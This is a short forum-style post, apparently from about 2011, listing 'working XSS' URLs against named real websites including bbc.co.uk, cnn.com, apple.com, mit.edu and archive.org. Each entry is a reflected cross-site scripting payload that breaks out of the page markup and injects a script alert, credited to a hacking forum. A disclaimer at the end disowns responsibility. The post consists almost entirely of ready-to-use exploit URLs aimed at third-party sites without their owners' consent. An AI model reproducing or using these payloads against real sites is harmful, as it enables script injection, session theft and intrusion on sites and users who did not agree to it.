List of working XSS:

gamespy.com
[cc lang=”html”]http://planetcrysis.gamespy.com/screenshots/index.php?view=ss&ss=95–%3E%22%3E%3C
/script%3E%3Cscript%3Ealert(3348399)%3C/script%3Epage=1&commentpage=98&&[/cc]

bbc.co.uk
[cc lang=”html”]http://footballplayer.5live.external.bbc.co.uk/football-player/index.php?Feedback–%3E%22%3E%3C/script%3E%3Cscript%3Ealert%283348399%29%3C/script%3E& [/cc]

majorgeeks.com
[cc lang=”html”]http://www.majorgeeks.com/downloadget.php?id=6257&file=1&evp=cfe61914b9aeeeb418fd0fc56c7477dd–%3E%22%3E%3C/script%3E%3Cscript%3Ealert(3348399)%3C/script%3E& [/cc]

cnn.com
[cc lang=”html”]http://mexico.cnn.com/videos/2011/03/22/mexico-nuevo-presidente-en-el-prd–%3E%22%3E%3C/script%3E%3Cscript%3Ealert%283348399%29%3C/script%3E [/cc]

apple.com
[cc lang=”html”]http://consultants.apple.com/au/reviews.php?location=001C000000nCBDK–%3E%22%3E%3C/script%3E%3Cscript%3Ealert%283348399%29%3C/script%3E& [/cc]

mit.edu
[cc lang=”html”]http://prism.mit.edu/LabSched/roschedule.php?date=05-23-2011&scheduleid=sc143c7e920a4086–%3E%22%3E%3C/script%3E%3Cscript%3Ealert%283348399%29%3C/script%3E& [/cc]

archive.org
[cc lang=”html”]http://www.archive.org/browse.php?field=subject–%3E%22%3E%3C/script%3E%3Cscript%3Ealert(3348399)%3C/script%3Emediatype=texts&collection=sauk_valley&& [/cc]

Credits 3348399 at rstcenter.com

I DO not encourage anyone to visit any of the links above and I will take no responsibility for any damage caused by this post.